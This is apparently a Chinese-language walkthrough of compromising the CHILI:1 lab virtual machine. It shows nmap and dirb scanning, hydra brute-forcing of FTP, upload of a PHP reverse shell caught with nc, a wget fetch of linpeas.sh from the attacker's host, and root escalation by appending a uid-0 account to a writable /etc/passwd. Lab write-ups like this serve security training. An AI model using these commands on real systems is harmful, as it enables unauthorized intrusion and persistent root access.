环境下载
- 戳此进行环境下载
CHILI:1靶机搭建
- 将下载好的靶机导入Vmware,网络连接设置为NAT模式即可
渗透测试
信息搜集
- 用arp-scan探测一下网段内目标靶机的IP:
sudo arp-scan -l
- 得到目标靶机的IP为:
192.168.246.138
- 使用
nmap
扫描开放的端口:sudo nmap -sC -sV -p 1-65535 192.168.246.138
,发现开放了21、80
两个端口
- 使用
dirb
扫描一下开放的80
端口:dirb http://192.168.246.138
漏洞挖掘
- 扫描 web 目录没有发现什么有用信息,尝试匿名登录 ftp,发现无法登录
- F12 查看页面源码,发现可疑信息
- 尝试利用
Chili
和chile
作为 ftp 用户名,利用hydra
爆破密码,得到用户名/密码:chile:a1b2c3d4
hydra -L user.txt -P rockyou.txt -f -V 192.168.246.138 ftp
getshell
- 用爆破得到的用户名/密码登录 ftp
- 切换到网站目录
/var/www/html
,发现可读可写可执行的.nano
目录
- 利用
put
命令,尝试上传 shell 到.nano
目录中,这里可以直接利用 Kali 自带的 php-shell,修改$ip
和$port
cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop
- 给
shell
文件加权限
chmod +x php-reverse-shell.php
chmod 777 php-reverse-shell.php
- 起一个 nc 监听,访问
http://192.168/246/138/.nano/php-reverse-shell.php
,成功接收到反弹的 shell,并执行命令SHELL=/bin/bash script -q /dev/null
获得一个交互式 shell
提权
- 这里借用一个下载辅助提权脚本工具,下载链接,先将该工具上传到网站上
python2 -m SimpleHTTPServer 8888
wget http://192.168.246.129/linpeas.sh
- 给
linpeas.sh
赋予执行权限后,执行linpeas.sh
chmod +x linpeas.sh
chmod 777 linpeas.sh
- 发现了利用的文件为
passwd
文件,可以自己写一个root
权限的空密码账号进去,再用passwd
写入密码来进行提权- 利用 perl 脚本语言,执行 crypt 模块,将 H3rmesk1t 加密字符串输出
/usr/bin/perl -le 'print crypt("H3rmesk1t","H3rmesk1t")'
- 将 H3rmesk1t 账户信息写入到
/etc/passwd
中
echo "H3rmesk1t:H3uwEyrUn4dnU:0:0:ROOT:/root:/bin/bash" >> /etc/passwd
- 切换到用户 H3rmesk1t 即可获得 root 权限